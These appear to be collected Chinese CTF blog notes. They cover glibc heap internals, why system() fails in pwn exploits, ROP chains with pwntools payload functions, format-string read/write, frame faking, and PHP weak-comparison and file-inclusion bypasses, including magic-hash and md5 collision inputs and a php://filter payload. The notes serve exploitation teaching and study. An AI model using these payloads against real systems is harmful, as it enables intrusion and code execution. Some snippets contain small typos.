malloc_state

struct malloc_state {
  /* Serialize access.  */
  mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
#if THREAD_STATS
/* Statistics for locking. Only used if THREAD_STATS is defined. */ long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif
  /* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr        top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr        bins[NBINS * 2 - 2];
/* Bitmap of bins */
44
unsigned int binmap[BINMAPSIZE];
/* Linked list */
  struct malloc_state *next;
#ifdef PER_THREAD
/* Linked list for free arenas. */ struct malloc_state *next_free;
#endif
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem;
};

heap_info

typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;

fastbin

  • 缓存small bin前7个
  • 单链表,LIFO 栈
  • 32bit:
    • 范围 0x10-0x40 8字节依次递增  共7个
  • 64bit:
    • 范围 0x20-0x80 16字节依次递增 共7个
  • 精确匹配
  • libc中的全局变量global_max_fast定义了fast bins中chunk的最大值,get_max_fast()函数用于获取该值

bins

  • 共128,第0个和第127个不用,第1个为unsorted bin,接下来62个为small bin,后面63个为large bin
  • 每个bin使用双向循环链表管理空闲chunk,bin的链表头的指针fb指向第一个可用的chunk,指针bk指向最后一个可用的chunk,分别对应宏first(b)和last(b)
  • small bins 共62个
    • 双向链表,FIFO
    • 精确匹配
    • 32bit
      • 范围 16-504B (<0x200B)
    • 64bit
      • 范围 32-1008B(< 0x400B)
  • large bins共63个
    • 分成6组,每组数量依次为32、16、8、4、2、1
    • 32bit
      • 从0x200B开始,公差依次为0x40B、0x200B、0x1000B、3276B、262144B
    • 64bit
      • 从0x400B开始,公差依次为0x40B、0x200B\0x1000B\0x8000B\
    • 范围匹配
    • 每个bin中的chunk按照从大到小排列,同时一个chunk存在于两个双向链表中,一个链表包含了large bin中所有的chunk,另一个链表为chunk size链表,该链表从每个相同大小的chunk取出第一个chunk按照大小顺序链接在一起,便于一次跨域多个相同大小的chunk遍历下一个不同大小的chunk
  • unsorted bin,只有一个,位于bins表的第一个位置

top chunk

  • 只有一个,位于malloc_state结构中

last_remainder

  • 一个,分配区上次分配small chunk时,从一个chunk中分裂出一个small chunk返回给用户,分裂后的剩余部分形成一个chunk,last_remainder就指向这个chunk
  • 每个bin使用双向循环链表管理空闲chunk,bin的链表头的指针fb指向第一个可用的chunk,指针bk指向最后一个可用的chunk,分别对应宏first(b)和last(b)

main_arena和 thread arena

malloc

  1. 首先检测请求大小是否小于 global_max_fast时,如果满足且对应的fastbin非空,采用LIFO,移除对应的fastbin指向的free chunk (存在大小检查),返回;不满足,继续下一步
  2. 检查请求大小是否满足in_smallbin_range(小于MIN_LARGE_SIZE),如果对应的small bin非空,移除bk指向的free chunk,即双向链表中的最后一个free chunk,设置下一个chunk的inuse标志位,返回;不满足,继续下一步
  3. 反向遍历unsorted bin表中的free chunk
    1. 如果需要分配small bin chunk,且unsorted bin中只有一个chunk,并且这个chunk为last_remainder_chunk且这个chunk的大小大于所需的chunk大小加上MINSIZE,如下所示:
      if (in_smallbin_range(nb) &&
      bck == unsorted_chunks(av) &&
      victim == av->last_remainder &&
      (unsigned long)(size) > (unsigned long)(nb + MINSIZE)) {
    2. 不满足以上条件,从unsorted bin中移除当前chunk,如果该chunk等于所需的chunk的大小,则返回
    3. 将当前chunk加到对应的small bin或者large bin表中
    4. 如果分配的chunk为large bin chunk,遍历large bin表,找到合适的chunk
    5. 如果通过上面的方式从最合适的 small bin 或 large bin 中都没有分配到需要的 chunk,则 查看比当前bin的index大的small bin或large bin是否有空闲chunk可利用来分配所需的 chunk

    6. 尝试从top chunk中分配所需chunk

free

  1. 首先检查大小是否小于 get_max_fast(),如果小于且检查下一个相邻堆块通过,则将当前堆块插到对应的fast bin表表头,返回;否则进入下一步
  2. 检查当前块的前一个堆块是否空闲,如果空闲,则将它从bin表中删除(unlink),计算合并后的大小
  3. 检查与当前块相邻的下一个chunk是不是top chunk,如果不是,检测是否处于inuse状态,若空闲,unlink
  4. 将合并后的chunk加入unsorted bin 双向链表中

参考:

  • https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

在ctf比赛中,有时调试一个pwn题目,发现直到调用system函数、传参时都是对的,但是system函数会执行失败,就是无法拿到shell,在这里总结了一下可能的原因:

  1. 在调用system函数时,esp指针指向的区域前面不存在一定空间的可写数据区,原因是在函数执行过程中,会维护自己的栈帧(sub esp, xxxx) —— fake frame时需要注意,会触发__libc_sigaction错误,fault address
  2. system函数的调用流程:system -> do_system->execve,execve函数执行时,会有三个参数:
    __execve (SHELL_PATH, (char *const *) new_argv, __environ);

    其中,

    SHELL_PATH = "/bin/bash";
    const char *new_argv[4];
    new_argv[0] = SHELL_NAME; // "sh"
    new_argv[1] = "-c";
    new_argv[2] = line;
    new_argv[3] = NULL;
    
    environ="HOME=skysider" // or ""

当environ指向的栈数据被无效数据覆盖时,就会调用失败。因此可以采用gdb动态调试的方法,若发现system函数能够执行到execve函数,可以观察此时execve的几个参数值是否正常,若异常,就可以去寻找对应的原因。

一种解决的方法是不调用system函数,而是调用execve函数,在调用时指定environ为NULL即可,即

execve(“/bin/sh”, 0, 0)

调试技巧:

b system
b execve
stack // 查看堆栈数据,SHELL_PATH和environ
x/s *(char**)(*(char **)($esp+8)+8) // 查看 line

PWNDocker:

1. 介绍

一个基于phusion/baseimage的docker容器,用于ctf中的PWN类题目

2. 使用

docker pull skysider/pwndocker

docker run -it --rm -name testctf -v $(pwd):/ctf/work --cap-add=SYS_PTRACE skysider/pwndocker

3. 包含的软件

  • pwntools —— CTF framework and exploit development library
  • gdb-peda —— Python Exploit Development Assistance for GDB
  • Pwngdb —— GDB for pwn
  • ROPgadget —— facilitate ROP exploitation tool
  • roputils —— A Return-oriented Programming toolkit
  • linux_server[x64] —— IDA 6.8 debug server for linux
  • tmux —— a terminal multiplexer
  • ltrace —— trace library function call
  • strace —— trace system call

附:

docker hub地址:https://hub.docker.com/r/skysider/pwndocker/

github地址:https://github.com/shenyuan123/pwndocker

1.静态分析

IDA FLIRT Signature Database —— 用于识别静态编译的可执行文件中的库函数

Find Crypt —— 寻找常用加密算法中的常数(pip install yara-python)

IDA signsrch —— 寻找二进制文件所使用的加密、压缩算法

IDA scope —— 自动识别windows函数和压缩、加密算法

Ponce —— 污点分析和符号化执行工具

snowman decompiler —— C/C++反汇编插件(F3 进行反汇编)

keystone —— 二进制文件修改工具,可以直接修改汇编

CodeXplorer —— 自动类型重建以及对象浏览(C++)(jump to disasm)

IDA Ref —— 汇编指令注释(支持arm,x86,mips)

Hexlight —— 大括号高亮匹配及跳转(B跳转到匹配括号)

auto re —— 函数自动重命名

nao —— dead code 清除

HexRaysPyTools  —— 类/结构体创建和虚函数表检测

2.动态调试

IDA sploiter —— 漏洞利用开发工具,寻找gadget

DIE —— 动态调试增强工具,保存函数调用上下文信息

sk3wldbg —— IDA动态调试器,支持多平台

idaemu —— 模拟代码执行(支持X86、ARM平台)

逆向分析常用方法:

利用findcrypt插件识别加密常数, edit->plugins->findcrypt

利用ida scope脚本识别加密、编码算法(windows),file->script file->IDAscope.py

利用signsrch插件识别加密、编码算法 edit->plugins->Signsrch

* 以下的rop gadget均可在linux x64 gcc编译的程序中找到

1. 一个参数的函数调用

address   ----------  pop rdi, ret
value     ----------  rdi
func_addr ----------  plt  或者 函数首地址

不加最终的返回地址,大小为 8*3 字节

2. 两个参数的函数调用

address   ----------  pop rsi, pop r15, ret
value     ----------  rsi
address   ----------  pop rdi, ret
value     ----------  rdi
func_addr ----------  plt 或者 函数首地址

不加最终的返回地址, 大小为8*5字节

3. 三个参数的函数调用

address  -----------  pop rbx, pop rbp, pop r12, pop r13, pop r14,
value    -----------  rbx (0)
value    -----------  rbp (1)
value    -----------  r12 存放函数地址的地址(如got表项地址或者某个可写数据区的地址)
value    -----------  r13 (rdx param3)
value    -----------  r14 (rsi  param2)
value    -----------  r15 (edi param1, 注意低4字节有效)
address  -----------  mov , mov, mov, call, ...., ret 地址
value    -----------  padding
value    -----------  rbx (padding, 也可作为下一次继续调用三参数函数的值)
value    -----------  rbp (同上)
value    -----------  r12 (同上)
value    -----------  r13 (同上)
value    -----------  r14 (同上)
value    -----------  r15 (同上)

不加最终的返回地址,大小为8*15字节

在缓冲区溢出时,要注意对应的rop gadget的大小

最后附不同数量参数函数调用的代码:(pwntools)

def one_param_func_payload(rdi_rop, rdi, func_addr):
    payload = p64(rdi_rop)
    payload += p64(rdi)
    payload += p64(func_addr)
    return payload

def two_param_func_payload(rsi_rop, rsi, rdi_rop, rdi, func_addr):
    payload = p64(rsi_rop)
    payload += p64(rsi)
    payload += p64(rdi_rop)
    payload += p64(rdi)
    payload += p64(func_addr)
    return payload

def three_param_func_payload(setreg_rop, func_addr_addr, param1, param2, param3, callptr_rop):
    payload = p64(setreg_rop)
    payload += p64(0)
    payload += p64(1)
    payload += p64(func_addr_addr)
    payload += p64(param3)
    payload += p64(param2)
    payload += p64(param1)
    payload += p64(callptr_rop)
    payload += 'a'*(8*7)
    return payload

利用pwntools提供的ROP还可以更加精简上述调用,自动完成查找相应rop gadget的功能

binary_path = "./pwnme'
binary = ELF(binary_path)
rop = ROP(binary)

def one_param_func_payload(func_addr, param):
    rdi_rop = rop.find_gadget(['pop rdi', 'ret']).address
    payload = p64(pdi_rop)
    payload += p64(param)
    payload += p64(func_addr)
    return payload

def two_param_func_payload(func_addr, param1, param2):
    rsi_rop = rop.find_gadget(['pop rsi', 'pop r15', 'ret']).address
    payload = p64(rsi_rop)
    payload += p64(param2)
    payload += one_param_func_payload(func_addr, param1)
    return payload

利用roputils可以完成更多参数函数payload的构建

  • readelf -h binary 查看二进制文件头
  • readelf -S binary 查看二进制文件节表(section table)
  • readelf -l binary 查看二进制文件段表(program header table)
  • readelf -x number|name binary 打印下标为number或名字为name的section内容(十六进制)
  • readelf -p number|name binary 以字符串形式打印节区内容
  • readelf -s binary 读取符号表
  • objdump -s binary 将所有节的内容打印出来
  • objdump -d binary 将代码段进行反汇编
  • objdump -r binary 查看重定位表

确定偏移

  • 利用pwntools提供的FmtStr(exec_fmt),获取offset

读/写栈上数据

  • 读:计算出要读的地址是第xxx个不定参数,然后利用%xxx$x 读取(x-十六进制读,lx长整读取(64位))
  • 写:首先泄露栈上rbp的值,然后根据rbp与返回地址之间的差值,得出返回地址所在的栈地址,利用任意地址写即可覆盖返回地址,如下图所示,可泄露show函数栈帧中rbp1的值,然后利用rbp1与printf函数返回地址之间的差值,计算可到printf返回地址所在的地址,覆盖之(绕过FULL RELRO,泄露show函数的返回地址,可以绕过PIE,泄露main函数的返回地址,即__libc_start_main_ret,可以leak libc)

读/写任意地址数据

  • 读:
    • 发送:payload = START + %xx$s + END+ addr
    • 接收:
      1. recvuntil(START)   
        data = recvuntil(END, drop=1, timeout=1)
        if not data:
            data = '\x00'
    • 读取addr地址处的字符串,xxx是根据addr在栈上的地址计算出的不定参数的值recvuntil(START)
  • 写:
    • payload = %yyyc+%xxx$hn+[padding]+addr
    • xxx计算方法同上,yyy为要写入的数据,可以用fmtstr_payload(offset, writes)实现

继续阅读

frame faking是一种伪造ebp,利用leave,ret指令返回到一段已知的可写地址的技术,这种利用方式的优点在于并不需要比较大的空间。下面具体描述了这种利用方式的构造姿势:

< - stack grows this way
   addresses grow this way  - >
                        
                       saved FP   saved vuln. function's return address
--------------------------------------------
| buffer fill-up(*) | fake_ebp0 | leaveret | 
-------------------------|------------------
                         |
   +---------------------+         (*) this time, buffer fill-up must not
   |                                   overwrite the saved frame pointer !
   v
-----------------------------------------------
| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...                     
-----|-----------------------------------------
     |                       the first frame
     +-+
       |
       v
     ------------------------------------------------
     | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...
     -----|------------------------------------------
          |                  the second frame  
          +-- ...

  fake_ebp0 should be the address of the "first frame", fake_ebp1 - the
address of the second frame, etc.

上面为x86下frame faking的利用方式,x64下稍有不同,需要利用到构造参数的rop,这部分内容已经在linux x64 rop利用总结中进行了详细讲述。
上面的利用方式需要提前写好相应frame的内容,后来想到一种可以一次完成getshell的变形:

< - stack grows this way
   addresses grow this way  - >
                        
                       saved FP   saved vuln. function's return address
-------------------------------------------------------------------------------
| buffer fill-up(*) | fake_ebp0 | f0 | leaveret | f0_arg1 | f0_arg2 | f0_arg3
-------------------------|-----------------------------------------------------
                         |
   +---------------------+         (*) this time, buffer fill-up must not
   |                                   overwrite the saved frame pointer !
   v
-----------------------------------------------
| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...                     
-----|-----------------------------------------
     |                       the first frame
     +-+
       |
       v
     ------------------------------------------------
     | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...
     -----|------------------------------------------
          |                  the second frame  
          +-- ...

  fake_ebp0 should be the address of the "first frame", fake_ebp1 - the
address of the second frame, etc.

二者的区别在于缓冲区溢出时调用了函数f0,然后返回到fake ebp0指向的区域,f0可以是read的地址,那我们就可以完成后面若干frame的数据写入,然后直接转到第一个frame开始执行,x64架构下由于函数传参使用寄存器,所以我们不需要多次采用frame faking,只需要采用一次frame faking即可,x64下简化的frame faking:

< - stack grows this way
   addresses grow this way  - >
                        
                       saved FP   saved vuln. function's return address
-------------------------------------------------------------------------------
| buffer fill-up(*) | fake_rbp0 | rop f0 | leaveret
-------------------------|-----------------------------------------------------
                         |
   +---------------------+         (*) this time, buffer fill-up must not
   |                                   overwrite the saved frame pointer !
   v
-----------------------------------------------
| fake_rbp1 | rop1 | rop2 | rop3 | ...                     
-----------------------------------------------

这种利用方式要求在f0调用过程中并不会修改rbp的值,由于x64架构下采用三参数函数调用会改变rbp的值,所以我们需要对函数略作修改:

def three_param_func_payload(setreg_rop, func_addr_addr, param1, param2, param3, callptr_rop, rbp=None):
    payload = p64(setreg_rop)
    payload += p64(0)
    payload += p64(1)
    payload += p64(func_addr_addr)
    payload += p64(param3)
    payload += p64(param2)
    payload += p64(param1)
    payload += p64(callptr_rop)
    if rbp:
        payload += 'a'*(8*2)
        payload += p64(rbp)
        payload += 'a'*(8*4)
    else:
        payload += 'a'*(8*7)
    return payload

payload = three_param_func_payload(0x40567a, binary.got['read'], 0, bss, 1024, 0x405660, bss)
payload += gadget("leave, ret")

增加了rbp变量,使它的值为fake_rbp0的值。

===========================================================================

还有一个方法可以直接改变rsp的值,利用

pop rsp; pop r13; pop r14; pop r15; ret

来改变rsp的值,此时rsp+8*3指向下一个rop gadget,此时可以节省r13、r14、r15的空间

 

  • php因为是弱类型,所以在遇到 “==”时可以轻松绕过:
    • md5比较绕过 (md5($_GET[‘xxx’] == ‘0e134324242423432424234’)
      • 240610708    0e462097431906509019562988736854
      • QNKCDZO    0e830400451993494058024219903391
      • aabg7XSs       0e087386482136013740957780965295
      • 0e开头md5值小结:https://www.219.me/posts/2884.html
    • md5 碰撞绕过 (hex)
      • md5:79054025255fb1a26e4bc422aef54eb4
        • d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70
          d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70
      • md5:  008ee33a9d58b51cfeb425b0959121c9
        • 4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
          4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
    • 序列化绕过
    • 进制转换
      • “0xdeadc0de” == “3735929054”
      • “420.00000e-1” == “42” (安全宝约宝妹)
    • 精度
      • 1 == 0.999999999999999999
  • 数组绕过,php某些函数数组作为参数返回NULL
    • strcmp(array(), “abc”)
    • md5(array())
  • file_get_contents绕过,针对 $result=file_get_contents($_GET[‘xxx’]),在远程协议(如http、ftp协议)失效的情况下,可以用php伪协议绕过
    • ?xxx=data:text/plain,(url编码的内容)
    • ?xxx=php://input,然后将要赋值的数据写入POST里也可达到上述结果
  • include($_GET[‘file’]),文件包含漏洞读取源代码,file=php://filter/read=convert.base64-encode/resource=./class.php

继续阅读